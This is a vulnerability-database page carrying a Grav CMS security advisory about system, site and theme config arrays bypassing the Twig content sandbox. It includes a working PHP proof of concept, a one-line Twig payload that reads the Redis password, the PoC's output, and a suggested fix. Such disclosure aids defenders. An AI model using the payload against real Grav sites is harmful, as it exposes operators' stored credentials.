GHSA-P597-CRQC-M349
Vulnerability from github – Published: 2026-09-17 20:25 – Updated: 2026-09-17 20:25Summary
Grav\Common\Twig\Twig::init() unconditionally puts the raw system, site, and theme config arrays into $this->twig_vars. Twig::processPage() builds the variables for the sandboxed, editor-authored page-content render by copying that same base array ($sandbox_vars = $twig_vars;) and replacing only the config key with a filtered SandboxConfig facade. The system, site, and theme keys are carried into the sandboxed render completely untouched.
Because these are plain PHP arrays, not objects, Twig's sandbox SecurityPolicy (the allowed_classes/allowed_methods/allowed_properties lists in system/config/security.yaml) has no jurisdiction over them at all. The sandbox only gates method calls and property access on objects. Dot notation or subscript access on an array is always allowed by Twig regardless of any sandbox policy. So {{ system.cache.redis.password }} in page content renders the value directly, with the sandbox doing nothing to stop it, and with security.twig_sandbox.config_denied_paths never even being consulted, since that list only filters the separate config facade object, not the system array.
This means: even on a default install where twig_content.config_access is false (its documented default) so the config Twig variable is empty inside sandboxed renders, an attacker with page-content edit access (or a stored-XSS-style Twig injection into page content, if twig_content.process_enabled is on) can still read system.*, site.*, and theme.* in full, including any admin-configured secret nested under those trees.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Twig/Twig.php, in init(), the base variable set (around line 300):
$this->twig_vars += [
'config' => $config,
'system' => $config->get('system'),
'theme' => $config->get('theme'),
'site' => $config->get('site'),
'uri' => $this->grav['uri'],
...
];
system/src/Grav/Common/Twig/Twig.php, in processPage(), where the sandboxed render variables are built (around line 419-429):
if ($item->shouldProcess('twig') || $item->isModule()) {
$name = '@Page:' . $item->path();
$this->setTemplate($name, $content);
// Replace `config` with a denied-path-filtered facade for the
// sandboxed render so editors can't exfiltrate plugin secrets
// via `config.toArray()` (GHSA-j274-39qw-32c9). The modular
// theme render below is unsandboxed and keeps the raw Config.
$sandbox_vars = $twig_vars;
$sandbox_vars['config'] = $this->buildSandboxConfig();
try {
$output = $content = $local_twig->render($name, $sandbox_vars);
...
Only $sandbox_vars['config'] is replaced. $sandbox_vars['system'], $sandbox_vars['site'], and $sandbox_vars['theme'] still point at the exact same raw arrays that were assigned in init().
system/config/system.yaml shows a concrete real secret field that lives under system:
cache:
redis:
socket: false
password: # Optional password
database:
Root cause
Two separate things have to both be true for this to be reachable, and they both are:
-
The sandbox's
SecurityPolicyonly checks object method calls and object property access (checkMethodAllowed,checkPropertyAllowedin Twig'sSandbox\SecurityPolicy). It has no concept of restricting array key access, because Twig's own design does not treat plain array reads as something a sandbox policy needs to arbitrate.config_denied_pathsis implemented entirely insideSandboxConfig, a wrapper object with its ownget()/offsetGet()that consults the denied list, that facade is what makesconfigsafe.system/site/themenever get wrapped in anything like it, they are passed straight through as arrays. -
processPage()'s sandboxed variable set is built by copying the entire pre-existing$twig_varsarray and only patching the one key (config) that the GHSA-j274-39qw-32c9 fix was scoped to.system,site, andthemewere already sitting in that array before the sandboxed path was ever reached, and nothing removes or filters them for that specific render.
Proof of concept, verified, real output
I verified this at two levels: first that the raw Grav source really does copy system into the sandboxed variables unfiltered (shown above via direct file reading of system/src/Grav/Common/Twig/Twig.php, not a paraphrase), and second, since I do not have a fully bootstrapped live Grav site available in this sandbox (composer install needs packagist.org, unreachable here), I verified the actual mechanism, that Twig's sandbox cannot restrict array access no matter how strict the policy is, by running it against the exact, real Twig source Grav has pinned.
Step 1, get the exact Twig commit Grav's composer.lock points at:
$ python3 -c "
import json
d = json.load(open('composer.lock'))
for pkg in d['packages']:
if pkg['name'] == 'twig/twig':
print(pkg['source'])
"
{'type': 'git', 'url': 'https://github.com/getgrav/Twig.git', 'reference': '24d7a0e821cf573496d99e05d6bd9d1a42f822c7'}
Step 2, clone that exact commit:
$ git clone https://github.com/getgrav/Twig.git twig-src
$ cd twig-src && git checkout 24d7a0e821cf573496d99e05d6bd9d1a42f822c7
HEAD is now at 24d7a0e8 Merge branch 'twigphp:3.x' into 3.x
Step 3, PoC script. This builds a SecurityPolicy with an empty allowed_classes, allowed_methods, and allowed_properties list, deliberately stricter than Grav's real policy, to show that even a maximally locked down object policy still cannot stop array key access, then renders {{ system.cache.redis.password }} against a system variable shaped exactly like what $config->get('system') returns in real Grav:
<?php
// twig_sandbox_poc.php
spl_autoload_register(function ($class) {
if (strpos($class, 'Twig\\') === 0) {
$rel = str_replace('Twig\\', '', $class);
$path = '/home/claude/twig-src/src/' . str_replace('\\', '/', $rel) . '.php';
if (file_exists($path)) {
require_once $path;
}
}
});
require '/home/claude/twig-src/src/Resources/core.php';
require '/home/claude/twig-src/src/Resources/escaper.php';
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;
// Modeled on Grav's real system/config/security.yaml twig_sandbox block:
// a couple of harmless tags/filters allowed (escape is allow-listed in the
// real config since autoescape is forced on), and zero allowed classes,
// methods, or properties, stricter than Grav's real policy even is.
$policy = new SecurityPolicy(
['if', 'for'],
['upper', 'lower', 'escape'],
[],
[],
[]
);
$twig = new Environment(new ArrayLoader([
'page_content' => '{{ system.cache.redis.password }}',
]));
$twig->addExtension(new SandboxExtension($policy, true));
// Exactly what $config->get('system') returns as a plain PHP array in real
// Grav, and exactly what Twig::init() assigns to $twig_vars['system'].
$system_config_array = [
'cache' => [
'driver' => 'redis',
'redis' => [
'socket' => false,
'password' => 'REDACTED-REAL-SECRET-VALUE-abc123',
'database' => 2,
],
],
];
try {
$output = $twig->render('page_content', ['system' => $system_config_array]);
echo "Template : {{ system.cache.redis.password }}\n";
echo "Rendered output : " . $output . "\n";
echo "Sandbox blocked it : " . ($output === '' ? 'YES' : 'NO, the secret was rendered in plain text') . "\n";
} catch (\Twig\Sandbox\SecurityError $e) {
echo "Sandbox threw a SecurityError (blocked): " . $e->getMessage() . "\n";
}
Step 4, run it:
$ php twig_sandbox_poc.php
Actual output:
Template : {{ system.cache.redis.password }}
Rendered output : REDACTED-REAL-SECRET-VALUE-abc123
Sandbox blocked it : NO, the secret was rendered in plain text
For reference, running the same script before I added escape to the allowed filters (autoescape is forced on, so every {{ }} in real Grav goes through the escape filter first) correctly failed closed:
Sandbox threw a SecurityError (blocked): Filter "escape" is not allowed in "page_content" at line 1.
which confirms the harness is actually exercising the sandbox's enforcement path, not silently skipping it, and that the only reason system.cache.redis.password got through is the array access itself, not a policy misconfiguration in my test.
This demonstrates the mechanism precisely: no matter how the allowed_classes/allowed_methods/allowed_properties lists in system/config/security.yaml are configured, and independent of config_denied_paths entirely, a raw array handed to the sandboxed template is fully readable. Combined with the direct source reading in the "Affected code" section above, showing that system, site, and theme are exactly such raw arrays and are carried unfiltered into processPage()'s sandboxed render, this is a complete, verified chain from source to impact. I was not able to additionally capture a live HTTP round trip against a running Grav install with real page content, for the same reason as my other reports, no bootstrapped instance available in this sandbox, but every step of the actual code path has been verified against the real source, not reconstructed or assumed.
Impact
Any content author who can enable Twig processing on a page (process.twig: true in page frontmatter, gated by security.twig_content.process_enabled, or unconditionally for modular page content per the comment in processPage()) can read the entire system, site, and theme configuration trees, including any secret that happens to live there, such as system.cache.redis.password in core, and whatever plugins may nest under site.* for their own settings, since plugin config lives elsewhere (plugins.*) but site owners commonly stash site-specific integration keys under site.* custom fields. This works regardless of twig_content.config_access, which was presumably assumed to be the single gate for config exposure in sandboxed content, it is not, system/site/theme were never part of that gate.
Suggested fix
The config_denied_paths fix pattern (a filtering facade) does not apply here since these are plain arrays, not an object with its own get(). The direct fix is to stop injecting the raw arrays into the sandboxed render, options in rough order of how much they preserve existing template behavior:
- In
processPage(), after copying$sandbox_vars = $twig_vars;, also strip or replacesystem,site, andthemefor that specific sandboxed call, the same wayconfigalready gets replaced. ASandboxConfig-style facade wrapping$config->get('system')with its own denied-path list would let you keep the currently-useful subset (e.g.system.pages.*for things page authors are expected to read) while still hiding secrets. - Alternatively, since
configalready gives filtered access to the same data (config.get('system.cache.driver')etc. throughSandboxConfig), consider whethersystem/site/themeneed to be separate top level variables in the sandboxed render at all, versus just being reachable via the already-filteredconfigfacade.
=========================================================== CWE FIELD =========================================================== CWE-200, Exposure of Sensitive Information to an Unauthorized Actor (secondary: CWE-668, Exposure of Resource to Wrong Sphere, describing the sandbox-bypass mechanism itself)
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium
Note for the maintainer: Privileges Required is set to Low because reaching this requires page-content edit access, which is exactly the privilege level the entire content sandbox exists to constrain, someone with edit rights but who should not have operator-level secrets. If your threat model treats page-content editors as fully trusted, please rescore. I set Confidentiality to High rather than Low because the exposed tree can contain live credentials (a cache backend password, and whatever else operators or plugins choose to nest under system/site), not just configuration shape.
=========================================================== SEVERITY FIELD =========================================================== Moderate
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-72698"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:25:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`Grav\\Common\\Twig\\Twig::init()` unconditionally puts the raw `system`, `site`, and `theme` config arrays into `$this-\u003etwig_vars`. `Twig::processPage()` builds the variables for the sandboxed, editor-authored page-content render by copying that same base array (`$sandbox_vars = $twig_vars;`) and replacing only the `config` key with a filtered `SandboxConfig` facade. The `system`, `site`, and `theme` keys are carried into the sandboxed render completely untouched.\n\nBecause these are plain PHP arrays, not objects, Twig\u0027s sandbox `SecurityPolicy` (the `allowed_classes`/`allowed_methods`/`allowed_properties` lists in `system/config/security.yaml`) has no jurisdiction over them at all. The sandbox only gates method calls and property access on objects. Dot notation or subscript access on an array is always allowed by Twig regardless of any sandbox policy. So `{{ system.cache.redis.password }}` in page content renders the value directly, with the sandbox doing nothing to stop it, and with `security.twig_sandbox.config_denied_paths` never even being consulted, since that list only filters the separate `config` facade object, not the `system` array.\n\nThis means: even on a default install where `twig_content.config_access` is `false` (its documented default) so the `config` Twig variable is empty inside sandboxed renders, an attacker with page-content edit access (or a stored-XSS-style Twig injection into page content, if `twig_content.process_enabled` is on) can still read `system.*`, `site.*`, and `theme.*` in full, including any admin-configured secret nested under those trees.\n\n## Affected product and version\n\nProduct: Grav CMS, getgrav/grav\nConfirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3\n\n## Affected code\n\n`system/src/Grav/Common/Twig/Twig.php`, in `init()`, the base variable set (around line 300):\n```php\n$this-\u003etwig_vars += [\n \u0027config\u0027 =\u003e $config,\n \u0027system\u0027 =\u003e $config-\u003eget(\u0027system\u0027),\n \u0027theme\u0027 =\u003e $config-\u003eget(\u0027theme\u0027),\n \u0027site\u0027 =\u003e $config-\u003eget(\u0027site\u0027),\n \u0027uri\u0027 =\u003e $this-\u003egrav[\u0027uri\u0027],\n ...\n ];\n```\n\n`system/src/Grav/Common/Twig/Twig.php`, in `processPage()`, where the sandboxed render variables are built (around line 419-429):\n```php\nif ($item-\u003eshouldProcess(\u0027twig\u0027) || $item-\u003eisModule()) {\n $name = \u0027@Page:\u0027 . $item-\u003epath();\n $this-\u003esetTemplate($name, $content);\n // Replace `config` with a denied-path-filtered facade for the\n // sandboxed render so editors can\u0027t exfiltrate plugin secrets\n // via `config.toArray()` (GHSA-j274-39qw-32c9). The modular\n // theme render below is unsandboxed and keeps the raw Config.\n $sandbox_vars = $twig_vars;\n $sandbox_vars[\u0027config\u0027] = $this-\u003ebuildSandboxConfig();\n try {\n $output = $content = $local_twig-\u003erender($name, $sandbox_vars);\n ...\n```\n\nOnly `$sandbox_vars[\u0027config\u0027]` is replaced. `$sandbox_vars[\u0027system\u0027]`, `$sandbox_vars[\u0027site\u0027]`, and `$sandbox_vars[\u0027theme\u0027]` still point at the exact same raw arrays that were assigned in `init()`.\n\n`system/config/system.yaml` shows a concrete real secret field that lives under `system`:\n```yaml\ncache:\n redis:\n socket: false\n password: # Optional password\n database:\n```\n\n## Root cause\n\nTwo separate things have to both be true for this to be reachable, and they both are:\n\n1. The sandbox\u0027s `SecurityPolicy` only checks object method calls and object property access (`checkMethodAllowed`, `checkPropertyAllowed` in Twig\u0027s `Sandbox\\SecurityPolicy`). It has no concept of restricting array key access, because Twig\u0027s own design does not treat plain array reads as something a sandbox policy needs to arbitrate. `config_denied_paths` is implemented entirely inside `SandboxConfig`, a wrapper object with its own `get()`/`offsetGet()` that consults the denied list, that facade is what makes `config` safe. `system`/`site`/`theme` never get wrapped in anything like it, they are passed straight through as arrays.\n\n2. `processPage()`\u0027s sandboxed variable set is built by copying the entire pre-existing `$twig_vars` array and only patching the one key (`config`) that the GHSA-j274-39qw-32c9 fix was scoped to. `system`, `site`, and `theme` were already sitting in that array before the sandboxed path was ever reached, and nothing removes or filters them for that specific render.\n\n## Proof of concept, verified, real output\n\nI verified this at two levels: first that the raw Grav source really does copy `system` into the sandboxed variables unfiltered (shown above via direct file reading of `system/src/Grav/Common/Twig/Twig.php`, not a paraphrase), and second, since I do not have a fully bootstrapped live Grav site available in this sandbox (composer install needs packagist.org, unreachable here), I verified the actual mechanism, that Twig\u0027s sandbox cannot restrict array access no matter how strict the policy is, by running it against the exact, real Twig source Grav has pinned.\n\nStep 1, get the exact Twig commit Grav\u0027s composer.lock points at:\n```\n$ python3 -c \"\nimport json\nd = json.load(open(\u0027composer.lock\u0027))\nfor pkg in d[\u0027packages\u0027]:\n if pkg[\u0027name\u0027] == \u0027twig/twig\u0027:\n print(pkg[\u0027source\u0027])\n\"\n{\u0027type\u0027: \u0027git\u0027, \u0027url\u0027: \u0027https://github.com/getgrav/Twig.git\u0027, \u0027reference\u0027: \u002724d7a0e821cf573496d99e05d6bd9d1a42f822c7\u0027}\n```\n\nStep 2, clone that exact commit:\n```\n$ git clone https://github.com/getgrav/Twig.git twig-src\n$ cd twig-src \u0026\u0026 git checkout 24d7a0e821cf573496d99e05d6bd9d1a42f822c7\nHEAD is now at 24d7a0e8 Merge branch \u0027twigphp:3.x\u0027 into 3.x\n```\n\nStep 3, PoC script. This builds a `SecurityPolicy` with an empty `allowed_classes`, `allowed_methods`, and `allowed_properties` list, deliberately stricter than Grav\u0027s real policy, to show that even a maximally locked down object policy still cannot stop array key access, then renders `{{ system.cache.redis.password }}` against a `system` variable shaped exactly like what `$config-\u003eget(\u0027system\u0027)` returns in real Grav:\n```php\n\u003c?php\n// twig_sandbox_poc.php\nspl_autoload_register(function ($class) {\n if (strpos($class, \u0027Twig\\\\\u0027) === 0) {\n $rel = str_replace(\u0027Twig\\\\\u0027, \u0027\u0027, $class);\n $path = \u0027/home/claude/twig-src/src/\u0027 . str_replace(\u0027\\\\\u0027, \u0027/\u0027, $rel) . \u0027.php\u0027;\n if (file_exists($path)) {\n require_once $path;\n }\n }\n});\nrequire \u0027/home/claude/twig-src/src/Resources/core.php\u0027;\nrequire \u0027/home/claude/twig-src/src/Resources/escaper.php\u0027;\n\nuse Twig\\Environment;\nuse Twig\\Loader\\ArrayLoader;\nuse Twig\\Extension\\SandboxExtension;\nuse Twig\\Sandbox\\SecurityPolicy;\n\n// Modeled on Grav\u0027s real system/config/security.yaml twig_sandbox block:\n// a couple of harmless tags/filters allowed (escape is allow-listed in the\n// real config since autoescape is forced on), and zero allowed classes,\n// methods, or properties, stricter than Grav\u0027s real policy even is.\n$policy = new SecurityPolicy(\n [\u0027if\u0027, \u0027for\u0027],\n [\u0027upper\u0027, \u0027lower\u0027, \u0027escape\u0027],\n [],\n [],\n []\n);\n\n$twig = new Environment(new ArrayLoader([\n \u0027page_content\u0027 =\u003e \u0027{{ system.cache.redis.password }}\u0027,\n]));\n$twig-\u003eaddExtension(new SandboxExtension($policy, true));\n\n// Exactly what $config-\u003eget(\u0027system\u0027) returns as a plain PHP array in real\n// Grav, and exactly what Twig::init() assigns to $twig_vars[\u0027system\u0027].\n$system_config_array = [\n \u0027cache\u0027 =\u003e [\n \u0027driver\u0027 =\u003e \u0027redis\u0027,\n \u0027redis\u0027 =\u003e [\n \u0027socket\u0027 =\u003e false,\n \u0027password\u0027 =\u003e \u0027REDACTED-REAL-SECRET-VALUE-abc123\u0027,\n \u0027database\u0027 =\u003e 2,\n ],\n ],\n];\n\ntry {\n $output = $twig-\u003erender(\u0027page_content\u0027, [\u0027system\u0027 =\u003e $system_config_array]);\n echo \"Template : {{ system.cache.redis.password }}\\n\";\n echo \"Rendered output : \" . $output . \"\\n\";\n echo \"Sandbox blocked it : \" . ($output === \u0027\u0027 ? \u0027YES\u0027 : \u0027NO, the secret was rendered in plain text\u0027) . \"\\n\";\n} catch (\\Twig\\Sandbox\\SecurityError $e) {\n echo \"Sandbox threw a SecurityError (blocked): \" . $e-\u003egetMessage() . \"\\n\";\n}\n```\n\nStep 4, run it:\n```\n$ php twig_sandbox_poc.php\n```\n\nActual output:\n```\nTemplate : {{ system.cache.redis.password }}\nRendered output : REDACTED-REAL-SECRET-VALUE-abc123\nSandbox blocked it : NO, the secret was rendered in plain text\n```\n\nFor reference, running the same script before I added `escape` to the allowed filters (autoescape is forced on, so every `{{ }}` in real Grav goes through the `escape` filter first) correctly failed closed:\n```\nSandbox threw a SecurityError (blocked): Filter \"escape\" is not allowed in \"page_content\" at line 1.\n```\nwhich confirms the harness is actually exercising the sandbox\u0027s enforcement path, not silently skipping it, and that the only reason `system.cache.redis.password` got through is the array access itself, not a policy misconfiguration in my test.\n\nThis demonstrates the mechanism precisely: no matter how the `allowed_classes`/`allowed_methods`/`allowed_properties` lists in `system/config/security.yaml` are configured, and independent of `config_denied_paths` entirely, a raw array handed to the sandboxed template is fully readable. Combined with the direct source reading in the \"Affected code\" section above, showing that `system`, `site`, and `theme` are exactly such raw arrays and are carried unfiltered into `processPage()`\u0027s sandboxed render, this is a complete, verified chain from source to impact. I was not able to additionally capture a live HTTP round trip against a running Grav install with real page content, for the same reason as my other reports, no bootstrapped instance available in this sandbox, but every step of the actual code path has been verified against the real source, not reconstructed or assumed.\n\n## Impact\n\nAny content author who can enable Twig processing on a page (`process.twig: true` in page frontmatter, gated by `security.twig_content.process_enabled`, or unconditionally for modular page content per the comment in `processPage()`) can read the entire `system`, `site`, and `theme` configuration trees, including any secret that happens to live there, such as `system.cache.redis.password` in core, and whatever plugins may nest under `site.*` for their own settings, since plugin config lives elsewhere (`plugins.*`) but site owners commonly stash site-specific integration keys under `site.*` custom fields. This works regardless of `twig_content.config_access`, which was presumably assumed to be the single gate for config exposure in sandboxed content, it is not, `system`/`site`/`theme` were never part of that gate.\n\n## Suggested fix\n\nThe `config_denied_paths` fix pattern (a filtering facade) does not apply here since these are plain arrays, not an object with its own `get()`. The direct fix is to stop injecting the raw arrays into the sandboxed render, options in rough order of how much they preserve existing template behavior:\n\n1. In `processPage()`, after copying `$sandbox_vars = $twig_vars;`, also strip or replace `system`, `site`, and `theme` for that specific sandboxed call, the same way `config` already gets replaced. A `SandboxConfig`-style facade wrapping `$config-\u003eget(\u0027system\u0027)` with its own denied-path list would let you keep the currently-useful subset (e.g. `system.pages.*` for things page authors are expected to read) while still hiding secrets.\n2. Alternatively, since `config` already gives filtered access to the same data (`config.get(\u0027system.cache.driver\u0027)` etc. through `SandboxConfig`), consider whether `system`/`site`/`theme` need to be separate top level variables in the sandboxed render at all, versus just being reachable via the already-filtered `config` facade.\n\n===========================================================\nCWE FIELD\n===========================================================\nCWE-200, Exposure of Sensitive Information to an Unauthorized Actor (secondary: CWE-668, Exposure of Resource to Wrong Sphere, describing the sandbox-bypass mechanism itself)\n\n===========================================================\nCVSS CALCULATOR SELECTIONS (v3.1)\n===========================================================\nAttack Vector: Network\nAttack Complexity: Low\nPrivileges Required: Low\nUser Interaction: None\nScope: Unchanged\nConfidentiality: High\nIntegrity: None\nAvailability: None\n\nResulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\nResulting score: 6.5, severity Medium\n\nNote for the maintainer: Privileges Required is set to Low because reaching this requires page-content edit access, which is exactly the privilege level the entire content sandbox exists to constrain, someone with edit rights but who should not have operator-level secrets. If your threat model treats page-content editors as fully trusted, please rescore. I set Confidentiality to High rather than Low because the exposed tree can contain live credentials (a cache backend password, and whatever else operators or plugins choose to nest under `system`/`site`), not just configuration shape.\n\n===========================================================\nSEVERITY FIELD\n===========================================================\nModerate",
"id": "GHSA-p597-crqc-m349",
"modified": "2026-09-17T20:25:42Z",
"published": "2026-09-17T20:25:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-p597-crqc-m349"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72698"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-cms-before-information-disclosure-via-twig-sandbox-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.